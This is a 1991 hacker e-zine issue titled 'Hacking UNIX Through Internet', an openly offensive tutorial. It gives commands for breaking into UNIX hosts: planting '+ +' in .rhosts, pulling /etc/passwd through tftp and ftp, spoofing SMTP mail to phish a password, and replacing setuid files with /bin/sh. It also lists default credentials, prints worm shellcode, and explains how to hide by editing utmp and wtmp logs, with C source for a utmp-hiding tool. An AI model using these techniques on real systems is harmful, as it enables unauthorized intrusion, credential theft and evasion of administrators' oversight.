957 lines
38 KiB
Plaintext
957 lines
38 KiB
Plaintext
==============================================================================
|
|
Volume 2, Issue 01 ---------------------------------- Thursday August 29, 1991
|
|
==============================================================================
|
|
Legions of Lucifer - Phone Hackers United to Crash & Kill < LoL-Phuck >
|
|
LoL-Phuck, Inc. / Issue Number 2.01 08.29.1991
|
|
(C)Copr 1990,91 Cypher Productions - All rights reserved.
|
|
==============================================================================
|
|
Legions of Lucifer founded on January 20, 1990 by: Digitone Cypher
|
|
PHUCK, INC. Founded in 1986 by: Tripin Face (aka Cobra Commander)
|
|
------------------------------------------------------------------------------
|
|
Legions of Lucifer merged with PHUCK, INC on January 15, 1991 at 11:41pm PST!
|
|
(That is the same day the Persian Gulf War started [Operation Desert Storm])
|
|
We are now: LoL-Phuck
|
|
------------------------------------------------------------------------------
|
|
Note: Any and all information found in this production is not to be used or
|
|
intended to be released to due any harm to anyone. This is mearly for 100%
|
|
informational purposes only and neither writers, staff members, submitters nor
|
|
anyone else that has anything to do with this released issue should be held
|
|
resonsible for the deeds and misgivings that intentional may readers preform.
|
|
------------------------------------------------------------------------------
|
|
All text file submissions should go to:
|
|
West Coast Technologies, Inc. @ +1-213-274-1333
|
|
(Use the guest account; User Name: GUEST Password: GUEST)
|
|
------------------------------------------------------------------------------
|
|
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
|
------------------------------------------------------------------------------
|
|
EDITORS/PRESIDENTS NOTE:
|
|
Okay basically, I am proud to say that LoL-Phuck is back from the "DEAD"
|
|
to bring you finally good quality reading material. I am going to tell
|
|
you guys right now, that we will not be producing that many text files,
|
|
we will just release when we feel like it, and not on a monthly kind
|
|
of basis. We are infact looking for writers, so if you do want to apply,
|
|
you can find it in this text file where to. This certain file, is a joint
|
|
release between SHA (a Swedish Hacking Group) and LoL-Phuck, so I hope
|
|
you all like it... I would also, like to note that starting from this
|
|
text file, LoL-Phuck will be totally different, this is the NEW and very
|
|
IMPROVED Legions of Lucifer-Phuck. Watch for the hot text files and
|
|
releases we will be producing in the months to come..
|
|
|
|
Starting on November 2, 1991 "West Coast Technologies, Inc" will be changing
|
|
area codes from 213 to 310. There will be a 6-Month period from November 2,
|
|
1991 to May 2, 1992, when both the new and the old ways of completing the
|
|
calls to this number (274-1333) will work. Beginning May 2, 1992, calls
|
|
dialed to the incorrect area code (213) will not be completed. You will
|
|
reach a recording explaining the new dialing procedures and you will need to
|
|
re-dial using the correct area code (310).
|
|
|
|
...Also, as you all know by now, there is a text file called "LOL-21.TXT"
|
|
which was supposedly written by me, that is like a "Sexual Biography", I
|
|
am going to state for the record that I *DID NOT* write that trash. Now,
|
|
The next official issue will be "LOL-022.TXT" since #21 has been taken by
|
|
the bogus text file, and we wouldn't want them to get confused now would
|
|
we? This kinda of thing has happened before, I believe it was Issue #9,
|
|
some jokers did the same prank, so I know how to handle it. Anyways, I
|
|
would like to thank the rest of you for all your support.
|
|
|
|
Digitone Cypher
|
|
LoL-Phuck President
|
|
08-29-91
|
|
|
|
I may be contacted at the following internet addresses:
|
|
|
|
UUCP: {hplabs!hp-sdd ucsd nosc}!crash!pnet01!dcypher
|
|
ARPA: crash!pnet01!dcypher@nosc.mil
|
|
INET: dcypher@pnet01.cts.com
|
|
|
|
|
|
##############################################################################
|
|
----------------------[ Hacking UNIX Through Internet! ]----------------------
|
|
##############################################################################
|
|
Written by: Mr Big <SHA> Release Date: Thursday August 29, 1991
|
|
Editied by: Digitone Cypher Release Numb: 20th Issue
|
|
------------------------------------------------------------------------------
|
|
|
|
|
|
|
|
This file is released in a joint venture with Swedish Hackers Association
|
|
in Sweden.
|
|
|
|
Note: S.H.A. are not members of LoL-Phuck, nor are LoL-Phuck members
|
|
of S.H.A., both groups are separate to each other, this is a only
|
|
a exchange in knowledge and assistance.
|
|
|
|
Legions of Lucifer-Phuck is always looking for submissions of text files
|
|
from small groups and from solo writers for worldwide distribution.
|
|
We are also look for Distribution Sites and full/half-time writers. I
|
|
can be contacted at the LoL-Phuck HQ @ 213/274+1333... thank you.
|
|
|
|
|
|
|
|
----------------
|
|
- Introduction -
|
|
----------------
|
|
|
|
I decided to write this file since I feel that there are no complete
|
|
files about hacking unix systems. Many files only cover some small part
|
|
in the art of hacking unix, and they don't cover hacking through
|
|
Internet where aprox. 80% of all hacking takes place. I will not state
|
|
that this file isn't complete either, since I have, on purpose, left out
|
|
many things, i.e. bugs in programs that might be exploited, as the Internet
|
|
Worm did. The reason I did this is because they will not be up-to-date for
|
|
very long, even though some sites don't install all patches that are
|
|
released. A good source for all these bugs are comp.unix.wizard,
|
|
comp.unix.source and other newsgroups.
|
|
|
|
This file isn't supposed to be for the beginner, so not everything in this
|
|
file is explained in detail. YOU should have common knowledge of unix and
|
|
Internet.
|
|
|
|
|
|
/Mr Big - S.H.A.
|
|
|
|
|
|
---------------------------[ Internet Section ]-----------------------------
|
|
|
|
|
|
------------
|
|
- Internet -
|
|
------------
|
|
|
|
In the beginning a US Goverment network existed nationwide. When it
|
|
grew larger the network where split into two networks, one research-
|
|
(Arpanet) and one millitary network (Milnet). Later thousands of other
|
|
networks worldwide where also connected and then Internet was born.
|
|
|
|
Internet is a good way of hacking unix systems. There are more than
|
|
ten thousand computer systems connected to Internet worldwide, running
|
|
diffrent OS's, but Unix's are the major one used. You are also able to reach
|
|
other networks or domains through Internet as ARPA network, NASA or the NSA
|
|
network among others since they are part of the Internet.
|
|
|
|
Approxitly 80% of all hacking take part on Internet. So be aware of
|
|
that goverment agencies are watching known hacking sites and other sources
|
|
for hackers.
|
|
|
|
There are also many outdials connected to Internet worldwide that can
|
|
be used for free calls, but this file isn't about that. Maybe I will compile
|
|
my list of outdials some day and release it, but that is in the future.
|
|
|
|
How do I get connected to Internet? Well, find you local dialup or go
|
|
through some University, since most of them are connected to Internet.
|
|
|
|
You can use the MIT Dialup if you don't have anything else:
|
|
|
|
MIT LCS Network Dialup (617) 258-7111
|
|
|
|
(I'm sorry that I can't supply you with a whole list of dialups, but
|
|
since I'm from Sweden, I don't have the needs for US Dialups.)
|
|
|
|
|
|
WARNING: Even if Internet seems to be untraceable, they can easily find
|
|
out where you are hacking from. It's a bit harder if you
|
|
use gateways before hacking, and don't use your own account
|
|
unless you want to be in deep shit!
|
|
|
|
|
|
|
|
-------
|
|
- IRC -
|
|
-------
|
|
|
|
Internet Relay Chat or IRC for short, is a worldwide multi-chat system
|
|
where users can exchange and discuss stuff real-time with the rest of the
|
|
world. IRC has many channels you can use - both public, private and hidden.
|
|
There are many users using this and you can easily get help and information
|
|
this way, since many people out there knows what they are doing.
|
|
|
|
Be aware that goverment agencies, like NCSA, might be tapping the public
|
|
forums and users using them, atleast I would...
|
|
|
|
Use this IRC server if you don't have anything else:
|
|
|
|
bradenville.andrew.cmu.edu (128.2.54.2)
|
|
|
|
|
|
|
|
------------
|
|
- Outdials -
|
|
------------
|
|
|
|
There are also outdials on Internet that you can use. I will not include
|
|
a list of those, since I know if they are abused, they will go down. You
|
|
have to do your own search for them.
|
|
|
|
|
|
|
|
----------
|
|
- Telnet -
|
|
----------
|
|
|
|
Telnet is more or less equal to Internet. With Telnet you can access other
|
|
systems on the Internet by entering the IP number or the same address of
|
|
the computer.
|
|
|
|
This is the most common way of connecting to other systems, even if there
|
|
are other ways too... i.e. rlogin among others...
|
|
|
|
#telnet [HOST] [PORT]
|
|
|
|
Where HOST is the IP address or the name of the computer, and PORT is the
|
|
port to connect to at the remote site.
|
|
|
|
The port number range from 0-9999. Ports 0-255 are standard ports and well
|
|
defined in unix. Ports 256-1023 are well known ports. Ports 1024-4999 are
|
|
user defined ports. Ports from 5000 and upward are nondefined ports.
|
|
|
|
Here are a small list of common port numbers and what they do:
|
|
|
|
21 FTP _ File Transfer Protocoll
|
|
25 SMTP - Or Simple Mail Transfer Protocol.
|
|
79 Finger - Reports information of users on remote system.
|
|
|
|
|
|
|
|
-------
|
|
- Ftp -
|
|
-------
|
|
|
|
File Transfer Protocol or FTP for short is a powerful way to send and
|
|
receive files between Internet connected hosts.
|
|
|
|
Many sites have set up their systems for anonymous ftp. They have done
|
|
this since they want everyone to be able to get files and information
|
|
without having a password. You should respect the ftp hours that are
|
|
common, i.e. do NOT ftp at local business times, since these systems
|
|
are used in companys, and work most of the time, and if you use ftp during
|
|
these hours, they might close the opportunity for us to use ftp, and I
|
|
would hate it if that happend.
|
|
|
|
#ftp [HOST]
|
|
|
|
Where HOST are the IP address or the name of the computer.
|
|
|
|
|
|
|
|
----------
|
|
- Usenet -
|
|
----------
|
|
|
|
Some people say that Usenet is the world larges BBS around, and in some
|
|
sense they are right. Usenet consists of over 1000 forums for various
|
|
topics, with hundreds of thosands of users worldwide using it.
|
|
|
|
Many good forums for Unix information exists, i.e.
|
|
|
|
misc.security
|
|
comp.unix.vizard
|
|
comp.unix.source
|
|
comp.security.announce
|
|
alt.security
|
|
|
|
To use Usenet news just type:
|
|
|
|
#rn <- This command might vary from
|
|
system to system.
|
|
|
|
|
|
|
|
--------
|
|
- CERT -
|
|
--------
|
|
|
|
CERT or Computer Emergency Respons Team is an organization which main
|
|
purpose are to help and prevent unautorized access to computer systems.
|
|
They publish bug fixes for security holes in diffrent OS's, mainly in
|
|
comp.security.announce. They also have their own site and support for
|
|
anonymous ftp so you can directly ftp bug fixes from them or tools that
|
|
helps system administrators to check the security on their own systems.
|
|
|
|
One good system administration tool for checking the security on your own
|
|
system are COPS, even if it dosen't detect all bugs that exists.
|
|
|
|
System Managers: If you think you have a compromised system, I suggest that
|
|
you contact CERT for assistance.
|
|
|
|
The Internet address for CERT is:
|
|
|
|
cert.sei.cmu.edu (128.237.253.5)
|
|
|
|
|
|
|
|
------------------------------[ Unix Section ]-------------------------------
|
|
|
|
|
|
--------------------
|
|
- Attacking target -
|
|
--------------------
|
|
|
|
Well... first we need an account on a remote system.. How do we get it?
|
|
There are no easy ways for this, unless your system is trusted.
|
|
|
|
It isn't easy even if your system is trusted, but it is easier :-)
|
|
|
|
|
|
- .rhosts -
|
|
|
|
Check out your own and other users .rhosts files.
|
|
These files contains those machines and users that are trusted to log into
|
|
the account, in which home group it resist, without any password.
|
|
|
|
Note: You must use rlogin to use this feature.
|
|
|
|
#cat .rhosts
|
|
albert guest
|
|
gnu.ai.mit.edu +
|
|
#
|
|
|
|
The plus (+) sign indicates that all users on gnu.ai.mit.edu are trusted to
|
|
use this account without a password, and hopefully this user can log in on
|
|
the same account on gnu.ai.mit.edu whithout a password.
|
|
|
|
Note: You can set "+ +" to allow anyone anywhere to use the account,
|
|
but be aware of that if the user dosen't have to enter his own
|
|
password, he WILL contact the system administrators at his site.
|
|
|
|
|
|
To scan all users .rhosts files use the following:
|
|
|
|
#find / -name .rhosts -exec /bin/cat {} ";"
|
|
|
|
If you stumble in on an account, then I suggest you add one entry to
|
|
the .rhosts file to include the hostaddress of a system that allows guest
|
|
users, and a plus sign (+). By doing this you don't have to create a shell
|
|
with suid that can be discovered and you don't even have to hack another
|
|
account to use the one you stumbled on.
|
|
|
|
Remeber that the user or root must own the .rhosts file on many newer
|
|
systems, i.e. Sun OS 4.x.
|
|
|
|
|
|
|
|
- /etc/hosts.equiv -
|
|
|
|
/etc/hosts.equiv contains system wide trusted remote sites.
|
|
|
|
#cat /etc/hosts.equiv
|
|
albert
|
|
+@gnu.ai.mit.edu
|
|
+
|
|
#
|
|
|
|
If /etc/hosts.equiv contains a plus sign (+) then all hosts are trusted.
|
|
Many Sun system are deliverd with /etc/hosts.equiv set up this way.
|
|
|
|
|
|
- finger -
|
|
|
|
You can also always try to get some accounts on a remote site by using
|
|
"finger @remotesite" and then guessing passwords...
|
|
|
|
You can even try "finger user@remotesite", where user is a possible user
|
|
on the remote site, i.e. guest to see if they have a guest account.
|
|
|
|
|
|
- tftp -
|
|
|
|
Some systems running tftp - Trivial FTP, have a bug allowing you
|
|
to copy files that contain slashes, normaly tftp impose the security
|
|
that the file must be world readable, but since /etc/passwd are
|
|
world readable, try this:
|
|
|
|
#tftp remotesite
|
|
tftp> get /etc/passwd <- Try snatching /etc/passwd
|
|
Recieved 30216 bytes in 32 seconds.
|
|
tftp> quit
|
|
#
|
|
|
|
Note: Even if you are not physicaly are logged in at the remote host,
|
|
this action is stored in the log files on the remote system.
|
|
|
|
|
|
- ftp -
|
|
|
|
Some systems running anonymous ftp and are not correctly setup might
|
|
allow any user to move above their restricted (root) directory, and
|
|
then access all files on the system.
|
|
|
|
#ftp remotesite
|
|
Connected to remotesite.
|
|
220 remotesite FTP server (Version 5.59 Mon Oct 29 15:33:08 EET 1990) ready.
|
|
Name (remotesite:root): anonymous <- Login as anonymous
|
|
331 Guest login ok, send your login name as password.
|
|
Password: <- Anything is ok
|
|
230- Guest login ok, access restrictions apply.
|
|
ftp> cdup <- The magic one!
|
|
250 CWD command successful.
|
|
ftp> get /etc/passwd /dev/tty <- Retreive /etc/passwd
|
|
200 PORT command successful.
|
|
150 Opening ASCII mode data connection for passwd (56 bytes).
|
|
root:sEQ5aTPgP4bSc:0:0:Super-User:/:/bin/sh
|
|
+::0:0:::
|
|
226 Transfer complete.
|
|
local: /dev/tty remote: passwd
|
|
56 bytes received in 7e-06 seconds (1.1e+04 Kbytes/s)
|
|
ftp> quit
|
|
221 Goodbye.
|
|
#
|
|
|
|
|
|
- sendmail -
|
|
|
|
The Internet Worm exploited a debug mode in the original sendmail to
|
|
coax sendmail into creating and executing a program that copied the
|
|
rest of the Internet worm over to the target host.
|
|
|
|
Note: Almost every system have been patched against this.
|
|
|
|
#telnet remotesite 25
|
|
Escape character is '^]'.
|
|
220 s350. Sendmail 4-0/SMI-4-0 ready at Wed, 10 Jan 91 15:35:01
|
|
debug <- Try debug command
|
|
200 Debug set
|
|
quit
|
|
Connection closed by foreign host
|
|
#
|
|
|
|
|
|
- smtp -
|
|
|
|
By connection to the smtp daemon on the remote site, you are able to send
|
|
mail under any user identity, to any user on any system.
|
|
|
|
If we want to try to fool a user on a system to change his password,
|
|
(not likely he will be fooled), but we can easily do this,
|
|
i.e. We want to send mail from root@tycho.ncsc.mil to john@gnu.mit.edu
|
|
|
|
#telnet tycho.ncsc.mil 25
|
|
Connected to tycho.ncsc.mil.
|
|
Escape character is '^]'.
|
|
220 tycho.ncsc.mil. Sendmail 4-0/SMI-4-0 ready at Wed, 10 Jan 91 15:35:01
|
|
rcpt to: john@gnu.mit.edu <- Receiving user
|
|
250 john... Recipient ok
|
|
mail from: root@tycho.ncsc.mil <- Fake user
|
|
250 example... Sender ok
|
|
data <- Instruct SMTP to receive data
|
|
354 Enter mail, end with "." on a line by itself
|
|
|
|
We are testing new equipment and you are instructed to change your password
|
|
to john as soon as you receive this message.
|
|
|
|
root@tycho.ncsc.mil
|
|
. <- End mail
|
|
250 Mail accepted
|
|
quit <- Now disconnect from system
|
|
Connection closed.
|
|
#
|
|
|
|
|
|
|
|
-------------------
|
|
- Raise you privs -
|
|
-------------------
|
|
|
|
Many users talk about getting root access... It's nice but not necessary
|
|
to have. The Internet worm didn't exploit root privs if it had it and
|
|
it managed to hit many remote sites anyway.
|
|
|
|
If you need root or not depends on what you want to do with the system.
|
|
|
|
|
|
- System files -
|
|
|
|
Check out if you have read/write access to the following files:
|
|
|
|
#ls -l /dev/mem
|
|
crwxrw-rw- root /dev/mem <- General physical memory
|
|
|
|
#strings - /dev/mem <- Use this to get strings
|
|
from memory to use
|
|
|
|
|
|
#ls -l /dev/kmem
|
|
crwxrw-rw- root /dev/kmem <- Kernal memory
|
|
|
|
Kernal memory contains among other things.. psid table - Process ID table.
|
|
I will not support any C program allowing changes to pid's in kernal memory
|
|
since if someone doesn't know how to use it, then the whole system will
|
|
crash! and we don't support that kind of action.
|
|
|
|
|
|
#ls -l /etc/inittab <- Sys V startup file
|
|
#ls -l /etc/rc* <- BSD startup file
|
|
-rw-rw-rw- root /etc/inittab
|
|
-rw-rw-rw- root /etc/rc <- Standard unix commands
|
|
-rw-rw-rw- root /etc/rc.host <- running with root privs
|
|
-rw-rw-rw- root /etc/rc.local <- #ex /etc/rc
|
|
|
|
|
|
#ls -l /etc/inetd.conf <- Sys V demon configuration file
|
|
#ls -l /usr/etc/inetd.conf <- BSD demon configuration file
|
|
-rw-rw-rw- root /etc/inetd.conf <- After editing use #kill -1 initd
|
|
-rw-rw-rw- root /usr/etc/inetd.conf <- After editing use #kill -1 initd
|
|
|
|
|
|
#ls -l /etc/utmp <- Contains only who information
|
|
-rw-rw-rw- root /etc/utmp <- Used to hide your session
|
|
or to change your usernamne
|
|
Check out the included source
|
|
(hide.c) that does this.
|
|
You can even read other users mail.
|
|
|
|
|
|
#ls -l /usr/spool/cron/crontabs <- Sys V cron shell scripts
|
|
#ls -l /usr/spool/cron <- Older unix systems
|
|
-rw-rw-rw- root /usr/spool/cron/crontabs
|
|
-rw-rw-rw- root /etc/spool/cron
|
|
|
|
Check also local written system scripts that runs as root and other
|
|
important system files.
|
|
|
|
|
|
- System directorys -
|
|
|
|
Check to see if you have write privs to any important system directory.
|
|
i.e.
|
|
/etc
|
|
/bin
|
|
/usr/etc
|
|
/usr/bin
|
|
/usr/lib
|
|
...
|
|
|
|
To find writeable directories use:
|
|
#find / -type d -perm -2 -print
|
|
|
|
If you have write priv's to a directory but not to a file in the directory
|
|
you can still copy the file over to another directory, modify it and
|
|
copy it back.
|
|
|
|
#cp /home/admin/.rhosts /home/mydir/newrhosts
|
|
#ex /home/mydir/newrhosts
|
|
#rm /home/admin/.rhosts
|
|
#mv /home/mydir/newrhosts /home/admin/.rhosts
|
|
|
|
or
|
|
|
|
#cat /bin/sh > /home/admin/shell
|
|
|
|
To find writeable files use:
|
|
#find / -type f -perm -2 -file {} ";"
|
|
|
|
Try modifying startup files for users,
|
|
i.e.
|
|
.login
|
|
.cshrc
|
|
.profile
|
|
...
|
|
|
|
Note: The System Administrators might check to see if these files have
|
|
been changed and then they check them to see if there was a backdoor
|
|
installed or not.
|
|
|
|
|
|
- UID files -
|
|
|
|
I neat way of gaining better access is to search for files that
|
|
have the UID bit set and then if they are writeable, copy /bin/sh over
|
|
to the file to gain the privileges of the owner of the file.
|
|
|
|
#find / -perm -4000 -exec /bin/ls -lad {} ";"
|
|
|
|
|
|
- mbox -
|
|
|
|
Reading other peoples mailboxs might give you a clue to their password.
|
|
They might even have posted it to a friend on the system.
|
|
|
|
Note: Reading other peoples electronic mail is a serious crime.
|
|
|
|
#find / -name mbox -exec /bin/cat {} ";"
|
|
|
|
|
|
- fingerd -
|
|
|
|
The Internet worm exploitet a bug in the old fingerd program. The program
|
|
used an obsolete C function called gets(). gets() copies input into
|
|
a string, but doesn't count the number of characters copied. The old
|
|
fingerd declaired a 512-byte buffer as an automatic variable, which placed
|
|
this buffer on the stack. The Internet worm sent down 536 characters,
|
|
overflowing the buffer, adding some code, and modified the return address,
|
|
so that fingerd executed a Bourne shell instead of returning. This flaw
|
|
was used only for VAX running BSD unix.
|
|
|
|
VAX assembly-language code used:
|
|
|
|
nop 400 nop's
|
|
...
|
|
pushl $68732f store '/sh[null]' on stack
|
|
pushl $6e69622f store '/bin' on stack
|
|
movl sp,r10 save stack pointer in r10
|
|
pushl $0 store 0 on stack (arg 3)
|
|
pushl $0 store 0 on stack (arg 2)
|
|
pushl r10 store string adress on stack (arg 1)
|
|
pushl $3 store argument count on stack
|
|
movl sp,ap set argument pointer to stack
|
|
chmk $3b system call to execve
|
|
|
|
|
|
|
|
-----------------------
|
|
- Brute force hacking -
|
|
------------------------
|
|
|
|
You can allways get a copy of /etc/passwd and then run it with a
|
|
unix matcher guessing passwords. There are many programs around,
|
|
so I think I'm wasting my time if I include one. This is the standard way
|
|
of getting other accounts.. but it's hard to match root account password.
|
|
If you wan't root access you have to use some other technique,
|
|
but if you are satisfied with some user accounts, this is the best way.
|
|
|
|
Be adviced that many new systems have passwords from 6-8 characters with
|
|
a minimum of one non-alphabetical character, or they are running C2
|
|
standard with shadow /etc/passwd, i.e. you can only see account names
|
|
in /etc/passwd and not the encrypted password, i.e.
|
|
|
|
#cat /etc/passwd <- Featuring C2 standard
|
|
|
|
root:*:0:0:Super-User:/:/bin/sh <- You can see that they
|
|
guest:*:3169:30:Guest User:/home/guest:/bin/rsh <- Have shadowing passwd
|
|
+::0:0::: file since the password
|
|
field contains '*'.
|
|
|
|
|
|
You can always try to get accounts without password:
|
|
|
|
#grep :: /etc/passwd
|
|
|
|
Note: Many system administrators will have their eyes open for users who
|
|
use A LOT of cpu time... so I suggest that you get yourself a password
|
|
cracker for your own computer at home, and run your matching sessions
|
|
there, even if it's slower.
|
|
|
|
|
|
|
|
----------
|
|
- Hiding -
|
|
----------
|
|
|
|
Since hacking is illegal you might want to hide from the System Manager
|
|
at the site you are attacking. Please note that they often pay special
|
|
attention to users using a big per cent of the cpu time (like when matching
|
|
passwords). Also try to keep the number of files in your directory low,
|
|
or atleast try to only store smaller files, anything to not draw
|
|
attention to you.
|
|
|
|
Change users frequently so if the system managers notice you they hopefully
|
|
do not get any evidence against you.
|
|
|
|
Check system files to see if they have been patch audit your access to them.
|
|
|
|
|
|
|
|
- /etc/utmp -
|
|
|
|
If you have write permissions to /etc/utmp you can easily remove
|
|
yourself to show up on "who" listings, or even change your username.
|
|
|
|
Check out the included C source for this, Hide.c.
|
|
|
|
You can also read other users mail if you can alter /etc/utmp.
|
|
|
|
|
|
- getty -
|
|
|
|
Try running /etc/getty or /usr/etc/getty and login again.
|
|
|
|
With this way you will hide from where you are calling from, i.e. your host
|
|
address won't show up on "who" listnings.
|
|
|
|
|
|
- running programs -
|
|
|
|
If you use any program that you shouldn't i.e. running passsword
|
|
matching programs, then I suggest that you first rename the program to some
|
|
appropiate, i.e.
|
|
|
|
#mv matcher emacs
|
|
#mv passwd user
|
|
#mv password magazine
|
|
|
|
Then use the program:
|
|
|
|
#emacs user magazine
|
|
|
|
Or you simply change your source code to always use one file as the passwd
|
|
file and another one for the dictionary.
|
|
|
|
|
|
- /usr/spool/mail/ -
|
|
|
|
There are times when you should edit users mail. If you are editing a file
|
|
and then kill the process, it will post mail to your user stating that
|
|
the process was aborted and that you can recover your file with a command.
|
|
If the real user sees this, he might talk to the system administrators
|
|
about it, and then they will start to investigate the account without
|
|
your knowledge, and some day.... shit happends!
|
|
|
|
|
|
- /etc/wtmp -
|
|
|
|
If you have root access you might want to remove your trails from the
|
|
system log file, /etc/wtmp, so they won't notice that you are fooling
|
|
around with their system.
|
|
|
|
|
|
|
|
----------
|
|
- Modems -
|
|
----------
|
|
|
|
Many people hack just to lower their phonebills. Many unix systems has
|
|
outgoing modem lines. You can use them if you have the right privileges.
|
|
|
|
Try using the command cu - Call Unix:
|
|
|
|
#cu 3143818460 <- Yeah! This number works...
|
|
|
|
|
|
|
|
---------------------
|
|
- Standard accounts -
|
|
---------------------
|
|
|
|
There are many standard accounts you can try hacking and some common too.
|
|
Even if the system administrators are more aware of these holes, they still
|
|
exists, and may be worth trying. Use the included list of standard and
|
|
successful accounts.
|
|
|
|
Login: Password: Login: Password:
|
|
|
|
adm adm admin admin
|
|
altos altos batch batch
|
|
bin bin daemon daemon
|
|
date date demo demo
|
|
field service games games
|
|
general general guest guest
|
|
help help ingres ingres
|
|
learn learn lp lp
|
|
lpadmin lpadmin nuucp nuucp
|
|
pub pub public public
|
|
rje rje root root
|
|
standard standard student student
|
|
sync sync sys sys
|
|
sysadm sysadm test test
|
|
time time tty tty
|
|
unix unix user user
|
|
uucp uucp uuhost uuhost
|
|
who who
|
|
|
|
|
|
|
|
-------------------
|
|
- Finding targets -
|
|
-------------------
|
|
|
|
This is the hard part if you don't know so much about Internet.
|
|
I will not go further into this, because if everyone starts to use
|
|
the techniques I have, it will be abused and then we might not have many
|
|
systems that will be reachable through Internet. And we don't want
|
|
that to happen, so you have to figure this out for yourself. If this
|
|
sounds a bit on the selfish side, I truely regret it, but its for your
|
|
own good.
|
|
|
|
|
|
|
|
---------------------
|
|
- Crashing a system -
|
|
---------------------
|
|
|
|
If you do crash a system on purpose, I hope you get caught and that
|
|
you have to rot in prison for a long long time...
|
|
|
|
Even if you stumble in on a root account and think that they are
|
|
lamers who are in charge of the system, you NEVER trash the system
|
|
on purpose!
|
|
|
|
Never crash a system on purpose!
|
|
Never delete files that you haven't created!
|
|
Never remove personal mail to people on the system!
|
|
|
|
|
|
|
|
-----------------------
|
|
- Voice of the Author -
|
|
-----------------------
|
|
|
|
I have been working with this for some time now. Even if I don't really
|
|
feel that this is complete, I have desided to release it as it is,
|
|
(then I can write a follow up to this... <grin>), and hopefully you
|
|
will enjoy it anyway.
|
|
|
|
I will release some Internet/Unix hacking utilities in the near future,
|
|
including backdoors and other nice programs you might need.
|
|
|
|
If you need to contact me or S.H.A. you can send mail to me on the
|
|
following networks:
|
|
|
|
FidoNet : 2:201/610 username mrbig
|
|
Internet : mrbig@DARKSIDE.COM
|
|
|
|
|
|
#############################################################################
|
|
SOURCE CODE SOURCE CODE SOURCE CODE SOURCE CODE SOURCE CODE
|
|
#############################################################################
|
|
|
|
--------
|
|
- Hide -
|
|
--------
|
|
|
|
|
|
Speacial thanx to Nimh of Stealth Hackers who wrote this program and for
|
|
letting me include it in this release. Thanx!
|
|
|
|
Hide will let you remove yourself from /etc/utmp or change the information
|
|
for you in /etc/utmp, i.e. username, host address or tty.
|
|
|
|
Note: /etc/utmp must be writeable by world.
|
|
|
|
<----CUT HERE-------CUT HERE-------CUT HERE-------CUT HERE------CUT HERE---->
|
|
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <utmp.h>
|
|
#include <pwd.h>
|
|
|
|
#define UTMPFILE "/etc/utmp"
|
|
|
|
FILE *utmpfile;
|
|
char *utmp_tmp[10240];
|
|
|
|
main (argc, argv)
|
|
int argc;
|
|
char *argv[];
|
|
{
|
|
|
|
struct utmp *user_slot;
|
|
struct passwd *pwd;
|
|
char line[10], name[10], host[20];
|
|
int index;
|
|
|
|
printf ("Welcome to HIDE ! FORMAT: hide [-i]\n\n");
|
|
utmpfile = fopen (UTMPFILE, "r+");
|
|
if (utmpfile == NULL)
|
|
{
|
|
printf ("ERROR while opening utmp file... exiting...\n");
|
|
exit ();
|
|
}
|
|
index = ttyslot(); /* Get this users utmp index */
|
|
index *= sizeof(struct utmp); /* 36 */
|
|
fseek(utmpfile, index, 0);
|
|
/**** Get real UID ****/
|
|
pwd = getpwuid (getuid());
|
|
if (pwd == NULL)
|
|
printf ("Who the hell are you???");
|
|
else
|
|
{
|
|
printf ("Real user identity:\n");
|
|
printf ("NAME %s\n", pwd->pw_name);
|
|
printf (" UID %d\n", pwd->pw_uid);
|
|
printf (" GID %d\n\n", pwd->pw_gid);
|
|
}
|
|
/**** If ARG1 = "-i" then disappear from utmp ****/
|
|
if ( (argc>1) && (!strcmp(argv[1], "-i")) )
|
|
{
|
|
index+=8; /* Rel PNT name */
|
|
fseek(utmpfile, index, 0);
|
|
fwrite ("\000", 8, 1, utmpfile); /* NO NAME */
|
|
fwrite ("\000", 8, 1, utmpfile); /* NO HOST */
|
|
fclose(utmpfile);
|
|
printf ("Removed from utmp\n");
|
|
exit();
|
|
}
|
|
/**** Change utmp data ****/
|
|
printf ("Enter new data or return for default:\n");
|
|
fseek(utmpfile, index, 0); /* Reset file PNT */
|
|
fread(line, 8, 1, utmpfile); line[8]=NULL;
|
|
fread(name, 8, 1, utmpfile); name[8]=NULL;
|
|
fread(host, 16, 1, utmpfile); host[16]=NULL;
|
|
fseek(utmpfile, index, 0); /* Reset file PNT */
|
|
dinput (" TTY [%s]%s", line, 8);
|
|
dinput ("NAME [%s]%s", name, 8);
|
|
dinput ("HOST [%s]%s", host, 16);
|
|
fclose(utmpfile);
|
|
}
|
|
|
|
/* Data input */
|
|
dinput (prompt, string, size)
|
|
char *prompt;
|
|
char *string;
|
|
int size;
|
|
{
|
|
char input[80];
|
|
char *stat;
|
|
char space[] = " ";
|
|
|
|
space[20-strlen(string)] = '\000';
|
|
printf (prompt, string, space);
|
|
stat = gets (input);
|
|
if (strlen(input) > 0)
|
|
fwrite (input, size, 1, utmpfile);
|
|
else
|
|
fseek (utmpfile, size, 1);
|
|
}
|
|
|
|
<----CUT HERE-------CUT HERE-------CUT HERE-------CUT HERE------CUT HERE---->
|
|
|
|
|
|
==============================================================================
|
|
##############################################################################
|
|
## ####### ## ###### ## ## ## ## ###### ## ##
|
|
## ## ## ## #### ## ## ####### ## ## ## ## ##
|
|
## ## ## ## ###### ## ## ## ## ## #####
|
|
###### ####### ####### ## ## ## ####### ####### ## ##
|
|
##############################################################################
|
|
------------------------------------------------------------------------------
|
|
(L)egions (o) (L)ucifer - (P)hone (H)ackers (U)nited (C)rash (K)ill
|
|
------------------------------------------------------------------------------
|
|
Call these LoL-Phuck support boards for information or application
|
|
inquiries:
|
|
|
|
UNITED STATES:
|
|
The Disconnected System 602/997+9918 Arizona NSA Dist Site
|
|
West Coast Technologies, Inc. 213/274+1333 California AfterShock Beta
|
|
The Magical Mystery Board 203/TMP+DOWN Connecticut THG Dist Site
|
|
Blitzkrieg BBS <Node 1> 502/499+8933 Kentucky TAP Magazine HQ
|
|
Blitzkrieg BBS <Node 2> 502/491+5198 Kentucky TAP Magazine HQ
|
|
Free Speech BBS 618/457+3365 Illinois PHRACK Classic HQ
|
|
Gonzo's Gabanza 513/890+0655 Ohio CHUD Dite Site
|
|
|
|
EUROPE/OUTSIDE CONTINENTAL NORTH AMERICA:
|
|
Interpol II +46-8-PR-IVAT Sweden SHA HQ
|
|
==============================================================================
|
|
Legions of Lucifer-Phuck High Office Staff Member
|
|
|
|
Prezident of [L.o.L] : Digitone Cypher
|
|
